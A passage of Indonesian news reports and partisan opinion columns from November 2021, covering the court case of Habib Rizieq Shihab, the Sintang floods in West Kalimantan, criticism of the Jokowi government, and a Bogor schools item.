bangsa. Dalam benaknya, yang penting asal bisa mengeruk keuntungan sebesar-besarnya dan mengamankan kepentingan ekonomi politik oligarki. Membangun dinasti kekuasaan yang dibagi-bagi buat kepentingan keluarga, partai politik dan relasi loyalisnya. Begitulah konstitusi dipraktikkan. Dalih usang dan perangai dari rezim kekuasaan, ketimbang peran sebagai aparatur pemangku kepentingan publik yang amanah. Sebagai contoh, rakyat sudah pasti bisa menduga, dalam kasus PCR yang melibatkan Luhut dan Erick Tohir sebagai menteri dan berpengaruh pada presiden. Akan menemui jalan buntu jika mengangkat masalahnya dari aspek undang-undang yang berlaku. Seperti sebelumya yang terjadi pada Luhut dalam soal pertambangan di Papua. Jalan konstitusi merupakan jalan sia-sia, karena telah menjadi jalur dan sarana kejahatan terselubung bagi para penguasa. Tidak ada etika, norma dan kepantasan moral yang menopang pejabat dalam menyiasati undang-undang. Konstitusi bukan sekedar dapat dibeli, lebih dari itu konstitusi yang lahir dan dirawat dari konspirasi gelap institusi pemerintahan dan para borjuasi korporasi. Hukum telah mengalami disfungsi, mewujud sebagai alat kekuasaan bukan alat negara. Perlahan larut menjadi rahim kejahatan konstitusional. Pada akhirnya rakyat semakin sadar dan cerdas. Menyalurkan aspirasi dan memperjuangkan haknya. Tidak lagi bisa mengandalkan konstitusi. Hukum negara telah terbiasa menghukum rakyat tanpa keadilan. Sebaiknya tidak berlaku bagi para pejabat meski nyata-nyata melakukan tindakan inkonstitusional. Bukan lagi, satir hukum tumpul ke atas tajam kebawah. Bahkan semakin agresif menikam dan membunuh kalangan bawah. Sampai kapan rakyat terus tertipu melalui konstitusi?. Jawabnya hanya ada pada rakyat sendiri. Diam terus tertipu atau bangkit dalam kesadaran dan perlawanan?. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Keonaran di Media Massa?

By M Rizal Fadillah AKHIRNYA Mahkamah Agung memutus Kasasi Habib Rizieq Shihab dengan hukuman 2 (dua) tahun penjara. Semula PN Jakarta Timur menghukum HRS 4 tahun akibat menyebarkan berita bohong hasil test SWAB dan berita bohong tersebut telah menyebabkan keonaran. Bagi Mahkamah Agung ternyata keonaran itu hanya di media massa. "Meskipun terdakwa telah terbukti melakukan perbuatan dengan menyiarkan berita bohong akan tetapi akibat terbitnya keonaran dari perbuatan terdakwa hanya di tataran media massa. Tidak terjadi konflik jiwa/fisik atau harta benda" kata Jubir MA Andi Samsan Nganro. Majelis Kasasi diketuai oleh Suhadi dan anggota Suharto dan Soesilo. Menggembirakan karena hukuman HRS semula 4 tahun berkurang menjadi 2 tahun dengan dakwaan melanggar Pasal XIV ayat (1) UU No 1 tahun 1946 tentang Peraturan Hukum Pidana juncto Pasal 55 ayat (1) ke-1 KUHP. Putusan PN Jakarta Timur yang diperkuat oleh PT DKI Jakarta dinilai tidak adil sehingga HRS mengajukan Kasasi ke Mahkamah Agung. Menyedihkan karena alasan Putusan MA adalah bahwa perbuatan HRS menyebabkan terjadinya keonaran di media massa. Bagaimana bisa disebut keonaran pada media massa ? Apa yang dimaksud dengan keonaran ? Penjelasan Pasal XIV ayat (1) UU No 1 tahun 1946 menegaskan bahwa yang dimaksud dengan keonaran adalah bukan saja kegelisahan dan mengguncangkan hati jumlah penduduk yang tidak sedikit tetapi lebih jauh dari itu yakni kekacauan. Pasal XIV sama dengan "Verordening No 18 Van het Militair Gezag". HRS tidak menyebarkan bohong, tidak ada unsur "kesengajaan" dan nyatanya sama sekali tidak menimbulkan kekacauan. Jika ada pro dan kontra di media massa maka itu tidak bisa masuk dalam unsur delik. Ini rumusan yang mengada ada dan dipaksakan. Jika ada pro dan kontra itu hal lazim saja. Lagi pula "keramaian" di media massa bisa merupakan buatan buzzer. Maklum kasus HRS ini sarat dengan muatan politik. Ramainya bahasan dalam media massa bukanlah suatu keonaran. Betapa kacaunya hukum jika dimaknai demikian. Media memiliki aturan tentang hak jawab dan dugaan pelanggaran hukum di media massa dilakukan pemeriksaan awal oleh Dewan Pers. Itupun yang menjadi terperiksa adalah media. Terhadap media elektronik ada ketentuan yang diatur dalam Undang-Undang tentang Informasi dan Transaksi Informasi (ITE). Keonaran apa yang terjadi di media massa ? Tidak ada. Pasal 14 UU No 1 tahun 1946 menegaskan keonaran itu "di kalangan rakyat". Keonaran atau kekacauan itu terjadi di dunia nyata. Bahkan lazim ada korban jiwa atau fisik. Mahkamah Agung dengan Putusan ini telah membuat Jurisprudensi yang sangat buruk. Kebohongan Presiden Jokowi soal Esemka, tidak impor beras, uang ribuan trilyun di kantong, ekonomi meroket, KA cepat tidak menggunakan dana APBN dan banyak kebohongan lainnya yang tersebar di media massa telah menimbulkan "keonaran". Jika tafsir MA terhadap HRS dibenarkan, maka Jokowi terancam delik yang sama. Jokowi dapat diseret ke Pengadilan, berbaju oranye dan diborgol, lalu dengan UU No 1 tahun 1946 Hakim harus memutuskan minimal penjara 2 tahun sebagaimana Jurisprudensi Putusan Mahkamah Agung. Jokowi telah membuat keonaran di media massa. HRS semestinya bebas sebagaimana bebasnya Jokowi ! *) Pemerhati Politik dan Kebangsaan

Habib Rizieq Shihab, Pencarian Keadilan yang Belum Selesai

Oleh Ady Amar *) MUNGKIN dikhususkan hanya pada Habib Rizieq Shihab seorang saja, yang dipenjarakan dengan tuduhan pelanggaran protokol kesehatan (prokes) Covid-19. Tampaknya itu tidak berlaku pada orang lain, yang juga sama-sama melanggarnya. Mengapa hukum menjadi tidak adil dikenakan padanya. Hukum, sekali lagi, seolah diada-adakan pada kasus prokes untuknya, tidak pada yang lain dalam kasus yang sama. Setidaknya itu yang tampak. Hanya mengucap kalimat pendek, "baik-baik saja", saat ditanya tentang kesehatan dirinya, dan itu sebelum hasil tes PCR atasnya didapat. Tentu ia tidak bermaksud berbohong. Salahnya di mana ucapannya itu. Habib Rizieq merasa tidak sakit, tubuhnya merasakan baik-baik saja, lalu kesalahannya di mana atas jawaban yang ditanyakan para juru warta di RS Ummi, Bogor. Setelah hasil tes PCR keluar, dinyatakan positif, maka ia memilih tinggal di rumah untuk pemulihan (karantina). Alasan yang dikemukakan jaksa penuntut umum (JPU) di pengadilan tingkat pertama, bahwa karena ucapan "baik-baik saja" itu menimbulkan keonaran, meski JPU tidak mampu menunjukkan bukti keonaran yang ditimbulkannya. Tapi justru itu yang dipakai majelis hakim Pengadilan Negeri (PN) Jakarta Timur memutus hukumannya menjadi 4 tahun, dari tuntutan JPU 6 tahun. Lalu, upaya banding ke Pengadilan Tinggi (PT) Jakarta dilakukan. Dan seperti PN Jakarta Timur, hukuman atasnya tetap menjadi 4 tahun, tanpa ada pertimbangan meringankan lainnya. Seolah PT Jakarta hanya "mengangguk" mengiyakan saja atas putusan pengadilan tingkat pertama. Lanjut, kasasi ke Mahkamah Agung (MA) dipilih Habib Rizieq dalam mencari keadilan. Dan, MA, Senin (15/11) memutus dengan meringankan 2 tahun dari sebelumnya 4 tahun. Argumen meringankan MA, bahwa keonaran yang ditimbulkan itu hanya sebatas atau ada di media sosial. Putusan MA, yang meringankan 2 tahun, itu pun sulit bisa dijelaskan. Sedahsyat apa keonaran yang ditimbulkan oleh pernyataan "baik-baik saja" di media sosial itu, yang sampai ia harus dipenjarakan 2 tahun. Di media sosial adalah hal biasa jika perdebatan dua pihak yang berseberangan, itu sampai tingkat ketidak patutan. Itu biasa saja. Tidaklah salah jika lalu orang menyebut, itu semacam suka-suka hukum dikenakan pada Habib Rizieq Shihab, meski tanpa pijakan hukum yang semestinya. Seperti orang satu ini memang ditarget, dan mesti dipenjarakan. Kasus prokes yang tidak semestinya, itu pun dipakai jalan memenjarakannya. Di penjara sehari pun ia tidak pantas, itu setidaknya yang disampaikan salah satu pengacaranya, Aziz Yanuar. Gas pol dengan putusan MA itu, dengan tanpa perlu pikir-pikir atas putusan itu, Habib Rizieq lewat pengacaranya memilih mengajukan peninjauan kembali (PK) pada MA. Ini akhir pencarian keadilan yang dipunyai, dan itu yang dipilihnya. Semoga keadilan dunia bisa ia dapatkan, dan itu dari kasus yang menurut pakar hukum tata negara, Refly Harun, jangankan dihukum sehari, dihadirkan di pengadilan saja Habib Rizieq itu tidak pantas. Kasat mata keadilan tampak tidak berpihak padanya, kata dizalimi pantas disandingkan pada Habib Rizieq Shihab. Pencarian keadilan hukum di dunia memang akan berhenti pada hasil putusan PK nya nanti. Setelah itu keadilan Tuhan yang ia harapkan, dan itu pasti akan didapatkan: keadilan seadil-adilnya. (*) *) Kolumnis tetap FNN

Banjir Sintang Menggenangi 12 Kecamatan, 33.221 Jiwa Mengungsi

Sintang, FNN - Badan Nasional Penanggulangan Bencana (BNPB) menyatakan hingga saat ini banjir masih menggenangi 12 kecamatan di Sintang Kalimantan Barat, akibatnya 10.381 kepala keluarga atau 33.221 jiwa warga terdampak masih mengungsi. "Warga Sintang yang mengungsi tersebar di 32 pos pengungsian yang dioperasikan Badan Penanggulangan Bencana Daerah (BPBD) setempat," kata Pelaksana tugas Kepala Pusat Data, Informasi dan Komunikasi Kebencanaan BNPB Abdul Muhari, melalui siaran pers yang diterima ANTARA, di Pontianak, Minggu. Disampaikan Abdul Muhari, pos pengungsian tersebut didukung 24 dapur umum yang dioperasikan tim gabungan di bawah komando BPBD Kabupaten Sintang. Menurut dia, berdasarkan data pada Sabtu (13/11) sekitar pukul 17.00 WIB, ribuan warga yang mengungsi itu berasal dari sembilan kecamatan yang terdampak banjir sejak 21 Oktober 2021 lalu. "Banjir masih menggenangi wilayah Sintang, meski pun debit air sempat turun, namun kondisi tersebut membuat warga masih bertahan di tempat pengungsian," jelasnya. Dikatakan Abdul Muhari, BPBD Sintang juga telah mengoperasikan lima pos lapangan untuk melayani kebutuhan dasar warga, seperti asupan makanan dan pelayanan kesehatan. Kelima pos lapangan berada di kawasan Tugu Bambu, Pos Lantas, Media Center, Ujung Jembatan Kapuas dan Kantor Camat Sintang, sedangkan pos komando berada di Kantor BPBD Kabupaten Sintang. "Pos pengungsian mau pun dapur umum tersebar di 12 kecamatan, khususnya titik-titik yang aman dari genangan air," ucap dia. Sementara itu, BPBD Sintang mencatat jumlah populasi terdampak, sebanyak 29.623 kepala keluarga atau 88.148 jiwa. Kata Abdul Muhari, masyarakat terdampak tersebut tersebar di 12 kecamatan, antara lain Kecamatan Kayan Hulu, Kayan Hilir, Binjai Hulu, Sintang, Sepauk, Tempunak, Ketungau Hilir, Dedai, Serawai, Ambalau, Sei Tebelian dan Kelam Permai. Pantauan BPBD setempat menyebutkan wilayah yang terdampak paling tinggi berada di Kecamatan Kayan Hulu, Kayan Hilir dan Sintang. "Banjir yang melanda banyak kecamatan ini telah menelan korban jiwa dua orang dan kerugian material seperti jembatan rusak berat sebanyak lima unit dan rusak sedang satu unit," katanya. Menyikapi kondisi sejak awal terjadinya banjir, pemerintah daerah yang dipimpin oleh BPBD Kabupaten Sintang telah melakukan upaya penanganan darurat bencana. Pemerintah daerah pun telah melakukan perpanjangan status tanggap darurat untuk bencana banjir, angin puting beliung dan tanah longsor hingga 16 November 2021. "Di sisi lain, BNPB terus melakukan manajemen darurat pos komando di kabupaten ini dan kita berharap banjir segera surut," kata Abdul Muhari. Pemkab Sintang – Pertamina Gelar Operasi LPG 3Kg Pemerintah Kabupaten Sintang bekerja sama PT Pertamina menggelar operasi pas elpiji 3 kilogram untuk membantu meringankan masyarakat di wilayah Sintang Kalimantan Barat yang hingga saat ini masih dilanda banjir. "Operasi pasar gas elpiji itu untuk meringankan beban masyarakat, karena kami terima informasi kenaikan harga elpiji 3 kg, padahal stok tersedia meski pun banjir sedang melanda," kata Pelaksana harian Bupati Sintang Yosepha Hasnah, di Sintang Kalbar, Senin. Disampaikan Yosepha, hari pertama pelaksanaan operasi pasar itu telah disiapkan 1.120 tabung elpiji 3 kilogram yang dilaksanakan di dua titik dalam rangka membantu warga terdampak banjir. Dikatakannya, bagi warga yang hendak menukar tabung gas elpiji cukup membawa kartu keluarga dan KTP, sudah bisa mendapatkan dua tabung elpiji 3 kilogram dengan harga Rp16.500/tabung. Menurut dia, untuk Senin (15/11) lokasi pertama ada di Halaman Disperindagkop dan UKM Sintang sebanyak 560 tabung gas dan lokasi kedua di Halaman Pasar Sungai Ana sebanyak 560 tabung elpiji. Sedangkan untuk, Selasa (16/11), operasi pasar gas elpiji ada dua lokasi juga di Halaman Pasar Raya/Pasar Inpres Sintang sebanyak 560 tabung dan lokasi kedua di Halaman Kantor Lurah Kapuas Kanan Hulu sebanyak 560 tabung. "Kami juga menyediakan air minum isi ulang secara gratis di Jalan Dharma Putra depan Alfamart," ucap Yosepha yang juga menjabat sebagai Sekretaris Daerah Sintang. Sales Branch Manager Rayon III Kalbar, PT Pertamina Patra Niaga Novan Reza Pahlevi mengatakan stok dan proses distribusi bahan bakar minyak serta gas elpiji di Kabupaten Sintang aman dan lancar meski pun banjir sedang melanda. "Stok BBM dan elpiji aman dan lancar. Pelayanan juga tetap lancar, bahkan kami menggunakan juga sampan dan perahu cepat untuk mendistribusikan gas elpiji ke agen," jelas Novan Reza Pahlevi. Menurut Novan, pihaknya juga memberikan tambahan alokasi elpiji sekitar lima persen untuk setiap agen dalam rangka membantu penanganan banjir. "Jadi masyarakat tidak perlu panik, kami memastikan masyarakat mudah mendapatkan elpiji," tegas Novan. IWAPI Sintang Bantu Ibu Hamil Ikatan Wanita Pengusaha Indonesia (Iwapi) Cabang Sintang membuka ruang tunggu bagi ibu hamil di lokasi pengungsian banjir. "Iwapi Cabang Sintang mengambil inisiatif membuka rumah tunggu bagi ibu hamil yang sudah memasuki periode menunggu masa kelahiran," ujar Ketua Iwapi Sintang, Rosaria Indah saat dihubungi di Sintang, Senin. Hadirnya ruang tunggu untuk ibu hamil lantaran ada kejadian seorang ibu yang melahirkan di perahu pengungsian saat banjir melanda Kabupaten Sintang yang cukup menyentak banyak pihak. "Hal ini dikarenakan perhatian banyak pihak dan relawan nyaris tidak terpikirkan kepada ibu hamil dan balita. Faktanya, lahir termasuk takdir yang tidak bisa di tebak kapan dan di mana," kata dia. Rumah tunggu tersebut beralamat di Bidan Praktik Mandiri Eva yang lebih dikenal dengan Klinik Gang Tunas. Di rumah tunggu ini tersedia empat tempat tidur untuk tindakan dan pemeriksaan kehamilan. "Di klinik gang Tunas para ibu hamil korban banjir akan mendapatkan pelayanan terbaik dari para bidan berpengalaman yang beberapa juga berstatus pengungsi karena rumah dan tempat praktik bidan terdampak banjir," kata dia. Saat ini, kondisi banjir sudah memasuki pekan ketiga. Sejumlah kabupaten yang terdampak seperti di Kabupaten Sintang, Kapuas Hulu, Sekadau, Sanggau dan Ketapang. Pemerintah baik pusat hingga daerah, pihak swasta dan masyarakat umum terus menggalang bantuan sembako dan kebutuhan masyarakat yang terdampak. Hal itu untuk membantu masyarakat yang harus bertahan di tengah kepungan bencana banjir terparah.* Umat Katholik Diminta Berdoa dan Berserah Uskup Keuskupan Sintang Mgr Samuel Oton Sidin mengajak seluruh umat Katolik untuk berdoa dengan hati yang berserah secara penuh kepada Tuhan di tengah bencana banjir yang melanda wilayah Sintang dan sejumlah daerah di Kalimantan Barat. "Umat Katolik di Keuskupan Sintang, mari kita saling mendukung dalam kesulitan yang sedang kita hadapi saat ini. Kita saling menguatkan, saling mendoakan, dan harapan kita sungguh agar bencana alam ini segera berlalu," katanya di Sintang Kalbar, Minggu. Ia mengatakan saat ini masyarakat sedang berada dalam keadaan yang sulit, yakn banjir d imana-mana. Banyak orang terdampak, kerugian tidak terhitung. "Kita prihatin, saya merasa sedih dengan keadaan yang tidak menguntungkan ini," katanya. Meski pun demikian, Uskup mengatakan sebagai orang yang beriman, umat Katolik dan seluruh masyarakat yang dilanda bencana banjir harus tetap tabah menghadapi kenyataan. "Tentu, kita tidak hanya berdoa, memang doa sangat penting sekali. Tetapi saya dan kita semua harus berusaha mengatasinya dengan cara kita masing-masing," katanya. Uskup juga menyampaikan terima kasih, karena begitu banyak orang rela membantu, dengan harta benda yang mereka miliki, mereka bagikan kepada korban. "Mudah-mudahan bantuan yang mengalir kepada masyarakat Sintang terkhususnya bagi umat Katolik, dapat meringankan penderitaan di tengah banjir besar yang melanda," kata Uskup Samuel Oton Sidin. Ajakan Uskup Sintang tersebut juga telah disebarkan oleh Komisi Komunikasi Sosial Keuskupan Sintang melalui aplikasi percakapan WhatsApp, sejak Sabtu (13/11) . Banjir di Kabupaten Sintang terjadi sejak 21 Oktober 2021, ribuan rumah dan masyarakat terdampak banjir hingga saat ini. Banjir juga melanda sejumlah kabupaten di wilayah Kalbar. Seorang Warga Tewas Terebdam Banjir di Rumahnya Seorang warga Sintang di jalan Akcaya II Kota Sintang Kalimantan Barat Hendra Saptaprahara berusia 41 tahun ditemukan meninggal dunia di dalam rumahnya yang sedang terendam banjir. "Korban ditemukan keluarganya dalam keadaan tidak bernyawa di dalam rumah yang terendam banjir," kata Kapolsek Kota Sintang Iptu Sutikno, di Sintang Kalbar, Minggu. Disampaikan Sutikno, penemuan jasad Hendra Saptaprahara (korban) sekitar pukul 15.30 WIB, Minggu (14/11), ketika Selly dan Ulul Azmi (adik korban) hendak mengantarkan makanan ke rumah korban. Saat tiba di rumah korban, keduanya mengetuk pintu, namun korban tidak menjawab, sehingga Ulul Azmi (suami Selly) memutuskan untuk naik ke tingkat dua rumah korban, karena melihat pintu masih terbuka. Saat masuk ke tingkat dua, Ulul Azmi tidak menemukan korban, sehingga Ulul Azmi turun ke lantai bawah yang masih terendam banjir dan Ulul Azmi melihat korban dengan kondisi tidak bernyawa terendam air banjir. "Atas kejadian itu Uluk Azmi bersama istrinya memanggil warga meminta pertolongan untuk memindahkan jasad korban ke Masjid Nurul Jannah untuk dimandikan dan disholatkan," jelas Sutikno. Menurut keterangan keluarga korban, kata Sutikno, bahwa korban ada riwayat penyakit epilepsi (ayan). Dikatakan Sutikno, sebelumnya anggota Bhabinkamtibmas dan Babinsa sudah pernah mengajak korban untuk mengungsi, namun korban tidak mau dan memilih tetap bertahan di rumahnya yang saat itu terendam banjir. Gubernur Kalbar Lepas 6 Truk Sembako Gubernur Kalimantan Barat Sutarmidji melepas enam truk berisi bantuan sembako dan perlengkapan kebutuhan lainnya untuk korban banjir di Kabupaten Sintang, Sanggau dan Sekadau. "Mudah-mudahan besok bantuan yang membawa kebutuhan masyarakat di Kabupaten Sintang bisa kami kirim lagi dengan menggunakan 4 sampai 6 truk," kata Sutarmijdi di Pontianak, Minggu. Sutarmijdi juga menyampaikan bantuan yang diberikan untuk menjaga ketersediaan kebutuhan pangan maupun obat-obatan bagi masyarakat yang terdampak banjir. "Yang bisa kami lakukan sekarang ini hanya menjaga ketersediaan pangan dan obat-obatan tetap aman. Terkait banjir, akan ditangani secara merata dan menunggu kondisi alam. Kemudian, hal yang perlu diperhatikan pasca banjir adalah kondisi masyarakat dan perbaikan infrastruktur," tuturnya. Sementara itu, Kepala Dinas Ketahanan Pangan Provinsi Kalimantan Barat yang juga merupakan Kepala Satgas Banjir Prov Kalbar, Heronimus Hero, menjelaskan ada beberapa kombinasi dalam paket bantuan kali ini. "Paket bantuan kali ini dikombinasi, di mana, ada yang bisa langsung diserahkan kepada masyarakat dalam bentuk paket, ada juga yang didistribusikan untuk mengisi logistik dapur umum di Kabupaten Sanggau dan Sekadau," kata Hero. Dia menjelaskan, masyarakat di Kabupaten Sanggau dan Kabupaten Sekadau akan menerima bantuan dengan alokasi 300 paket untuk setiap kabupaten. Sementara itu, jumlah paket untuk mendukung dapur umum, yakni 1,5 ton beras, 400 dus mi instan, serta berbagai sumbangan kebutuhan lainnya seperti popok sekali pakai untuk bayi, sabun, pasta gigi, gula, biskuit, dan lain-lain. Berdasarkan perhitungan Dinas Ketahanan Pangan Provinsi Kalimantan Barat, beras sebanyak 1,5 ton bisa mencukupi kebutuhan 10 hari kedepan jika setiap hari menyediakan 500 porsi makan. Sementara mi instan bisa mencukupi hingga 14 hari. Seminggu Sebelumnya BMKG Sudah Mengingatkan Badan Meteorologi, Klimatologi dan Geofisika (BMKG) Pontianak, Kalimantan Barat mengeluarkan peringatan dini potensi banjir rob di wilayah tepian Sungai Kapuas, Kota Pontianak dan sekitarnya. “Peringatan itu terutama ditujukan bagi warga yang tinggal di pinggiran Sungai Kapuas dan kawasan rendah lainnya,” kata Prakirawan BMKG Maritim Pontianak Mega Fitriyawati dalam keterangan tertulisnya di Pontianak, Selasa. Ia menjelaskan berdasarkan data yang tercatat air pasang saat ini mencapai ketinggian maksimum, yakni sekitar 1,6 meter dari permukaan laut, ketinggian tersebut terjadi pada pukul 09.00 WIB - 11.00 WIB. "Sehingga, ketinggian air pasang laut maksimum itu dengan waktu pasang puncak sekitar pukul 09.00 WIB - 11.00 WIB, daerah pinggiran sungai dan kawasan rendah akan tergenang dengan ketinggian air bervariasi,” jelasnya. Wali Kota Pontianak Edi Rusdi Kamtono mengaku akan lebih mengoptimalkan fungsi parit di kota itu, hal itu dilakukan agar air cepat turun ke Sungai Kapuas guna mencegah terjadinya genangan air rob. “Parit-parit yang ada di Kota Pontianak akan kami optimalkan lagi dalam mengatasi masalah genangan air ketika musim hujan,” katanya. Menurut Edi, karakteristik Pontianak berbeda dengan daerah Pulau Jawa yang banyak pegunungan. Sungai di Pontianak, jika dikeruk untuk ditambah kedalamannya, tidak cukup efektif, sebab akan ada lagi endapan lumpur, bahkan dari Sungai Kapuas juga masuk ke parit yang ada di Kota Pontianak. (sws, ant)

Lagu Stambul, Tempo Cha Cha

Oleh Ridwan Saidi *) Stambul Cha Cha lagu Oslan Husein 1960-an. Maksud ungkapan dijelaskannya dalam lagu Si Nandi-Nandi: Iko jaman indak karuan. Ini jaman tidak keruan, atau acak2an. Stambul dari U Bosforus Stambol, senandung (selat) Bosforus. Senandung t goak cocok kalau dimainkan dengan beat cha cha. Itu music, tapi dalam politik terjadi: Nandur (menanam padi) hujan-hujanan karena memang musim hujan. Pelaku Ketua DPR RI Puan Maharani. Peresmian sirkuit motor Mandalika tak ada yang menonton. Pelaku peresmian akhirnya pada Mandalika (bahasa Armen), muter-muteran sendiri. Malah sirkuit yang lagi berjalan dibatalkan dan ditunda. Menteri Lingkungan keberatan atas kesepakatan Glasgow tentang perlindungan hutan dan lingkungan. Akhirnya itu menteri perbaiki sendiri twit-nya. Ada Menko mau audit keuangan LSM. Menteri pendidikan dan kebudayaan keluarkan peraturan Menteri yang tidak mendidik dan tidak berbudaya bagi anak didik. Sex bebas oke sama oke, oke bro. Kok begitu? Menteri agama jadikan agama (Islam) sasaran bidik dalam ia berkata-kata. Kopat kopit dijadikan sarana cari duit. Rakyat menjerit-jerit. Formula E tinggal 7 bulan lagi, nuju bulanin, kata orang Betawi. Lokasi balap belum ditetapkan. Ada tokoh partai anjurkan revolusi ekonomi, dulu ada yang anjurkan revolusi mental. Revolusi sesuatu yang utuh tapi, kata Bung Karno, Doso Muko. Tidak sama dengan mukone ono sedoso. Makna ringkasnya revolusi itu multi complex. Ojo dipreteli siji-siji. Jangan di-iris-iris satu-satu. Paling sedikit ada 9 indikasi yang dapat membawa kita pada kesimpulan rezim dan elit partai lagi panik. Ini belum tondo-tondo, tanda-tanda? Tentu (akan) ada tanda-tanda. Harap sabar. Tahun 1997 Presiden Soeharto pimpin upacara panen massal. Begitu padi dipotong dan ditumbuk ternyata puso. Gabah tanpa beras. Ini tondo-tondo yang maknanya post pactum baru kita insyafi kemudian. Mungkin tondo-tondo sudah ada. *) Budayawan

Menghitung Hari Rezim Jokowi

KRISDAYANTI. Dari penyanyi menjadi politisi. Sang diva sempat membetot perhatian publik karena blak-blakan menghitung penghasilan sebagai anggota DPR. Jelas membuat kaget publik. Terlampau besar dibandingkan hasil legislasi para wakil rakyat di Senayan. Semasa di puncak karier seni, salah satu lagu Krisdayanti yang booming, juga masih urusan menghitung. Kali ini bukan soal income. Tapi menghitung hari. Memberi deadline agar kekasihnya berperilaku jujur. Ketulusan hati. Jika tidak bisa, matikan saja kobaran cinta, alias bubar jalan. Ketulusan, kejujuran inilah yang juga didamba seluruh penduduk negeri ini. Kondisi kehidupan kebangsaan dan kenegaraan semakin buruk, dan jauh dari konsep negara demokrasi yang berlandaskan Pancasila. Tahun lalu, tepatnya 18 Agustus 2020, Koalisi Aksi Menyelamatkan Indonesia (KAMI) pun, sudah mengingatkan atas tata kelola penyelenggaraan negara, khususnya di masa pandemi Covid-19. Namun suara keprihatinan yang tertuang dalam Maklumat Menyelamatkan Indonesia itu, tidak mendapatkan respons pemerintah. Padahal timbunan persoalan semakin besar dan memberatkan rakyat. Utang pemerintah, termasuk BUMN dan BI semakin tidak terkendali, dan berpotensi gagal bayar menurut Badan Pemeriksa Keuangan. Sesungguhnya, utang pemerintah sudah tidak terkendali sebelum pandemi Covid-19, demi membangun proyek infrastruktur yang tidak fisibel dan bukan merupakan prioritas kebutuhan rakyat. Konsekuensinya, ketika utang semakin bertambah dengan alasan penanganan pandemi, pemerintah justru tidak dapat meningkatkan penerimaan negara, salah satunya dari pemanfaatan sumber daya alam. Ini akibat para mafia sumber daya alam, tidak membayar pajak sebagaimana mestinya. Bahkan mereka menimbulkan deforestasi dan kerusakan sumber daya alam yang mengancam kelangsungan lingkungan hidup generasi mendatang. Ironisnya, rezim jokowi terus memburu pajak yang menambah berat kehidupan masyarakat lapisan bawah. Dari pajak sembako, pendidikan hingga kesehatan. Aspek lain yang disoroti KAMI adalah peran para pejabat di masa pandemi. Mereka penentu kebijakan penanganan pandemi sekaligus menjadi pelaku bisnis vaksin Covid-19 dan PCR. Ini menunjukkan kepada masyarakat bahwa para pejabat negara yang seharusnya menunjukkan kepedulian besar pada rakyat yang sedang kesulitan hidup, justru terlibat dalam konflik kepentingan. Karena itulah dalam Maklumat kedua pada 12 november 2021 yang diteken Presidium KAMI Jenderal TNI Purnawirawan GATOT NURMANTYO, ROCHMAT WAHAB dan DIN SYAMSUDDIN, ada 3 persoalan besar yang mendesak diperbaiki pemerintah. Pertama. Cengkeraman Oligarki dalam kehidupan negara telah membuat bangsa Indonesia terperosok dalam jurang kehancuran ekonomi. Bersatunya elit ekonomi dan politik menyebabkan roda ekonomi nasional dijalankan secara serampangan dan brutal. Sudah seharusnya pemerintah mengembalikan tata kelola ekonomi nasional dan sumber daya alam demi kemakmuran rakyat sesuai nilai sila ke-5 Pancasila dan Konstitusi. Kedua. Presiden gagal dalam mengelola roda pemerintahan. Kondisi demokrasi, ekonomi, HAM, serta praktek rente kebijakan dan korupsi semakin memburuk tidak terkendali. Kepemimpinan nasional dalam menangani pandemi yang ditunjukkan kepada rakyat adalah kepemimpinan yang mengabaikan moral. Keserakahan di tengah derita pandemi. Selain tidak fokus memikirkan nasib rakyat, kepemimpinan nasional tidak punya kemampuan yang sesuai dengan tantangan dan beratnya persoalan. Padahal hal ini diperlukan untuk langkah perbaikan demi menyelamatkan Indonesia. Ketiga. Putusan Mahkamah Konstitusi (MK) yang menerima Judicial Review atas UU No.2 tahun 2020, seharusnya menjadi momentum pemerintah semakin transparan dan akuntabel, serta mengusut potensi kerugian dari perilaku korupsi serta rente atas kebijakan penanganan pandemi. Dan sesuai putusan MK bahwa status pandemi Covid-19 harus dinyatakan paling lambat akhir tahun 2021, maka anggaran COVID yang disusun berdasarkan UU Nomor 2 Tahun 2020 harus dengan persetujuan DPR. Kini saatnya pemerintah membuka ruang kepada publik untuk ikut mengawasi penggunaan anggaran penanganan pandemi. Negeri ini perlu diselamatkan, dari ancaman kerusakan moral dan kehancuran di semua sektor kehidupan bangsa. Jika dibiarkan, sama halnya menanti kehancuran. Tinggal menghitung hari.

DPRD Minta Disdik Bogor Atasi Masalah Jaringan Internet ANBK

Kota Bogor, FNN - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Bogor meminta Dinas Pendidikan (Disdik) setempat mengatasi keluhan fasilitas jaringan internet beberapa sekolah dasar (SD) dari 168 sekolah yang menjalankan Asesmen Nasional Berbasis Komputer (ANBK). Hal itu disampaikan Sekretaris Komisi IV DPRD Kota Bogor Endah Purwanti, Senin seraya mengaku menerima laporan keluhan-keluhan dari sekolah atas proses ANBK pengganti ujian nasional (UN). Endah meminta agar Dinas Pendidik (Disdik) Kota Bogor memberikan pendampingan kepada seluruh sekolah agar ANBK bisa berjalan lancar. "ANBK yang digelar harus mendapatkan pendampingan dan supervisi dari Disdik. Agar nantinya tidak ada sekolah yang keteter karena masalah internet ataupun mati lampu," kata Endah di Kota Bogor, Senin. Menurut Endah, ANBK kali ini merupakan pengalaman pertama bagi siswa SD menggelar ujian serentak di sekolah pada Pandemi COVID-19. Disdik perlu memastikan sarana dan prasarana yang baik agar siswa mampu menunjukkan kemampuannya dengan baik. "Ini kan pertama kali ujian serentak digelar. Jadi sarana dan prasarana harus dipenuhi agar asesmen bisa maksimal dan menunjukkan kapabilitas anak-anak kita," tegasnya. Diketahui, Dikdik Kota Bogor mulai memberlakukan pembelajaran tatap muka (PTM) terbatas bagi siswa kelas 4,5 dan 6 diuji coba secara bertahap dari 36 SD sejak Senin, 18 Oktober 2021. Kepala Dinas Pendidikan Kota Bogor Hanafi sebelumnya menargetkan dari total 280 SD di Kota Bogor terdiri atas 211 SD negeri dan 69 SD swasta akan seluruhnya menjalankan PTM pada akhir November 2021. Hingga minggu kedua Bulan November ini telah ada 168 SD yang menjalankan PTM dan melaksanakan ANBK. (sws, ant)

Kapolda Kalsel Semangati Personel Brimob BKO Papua

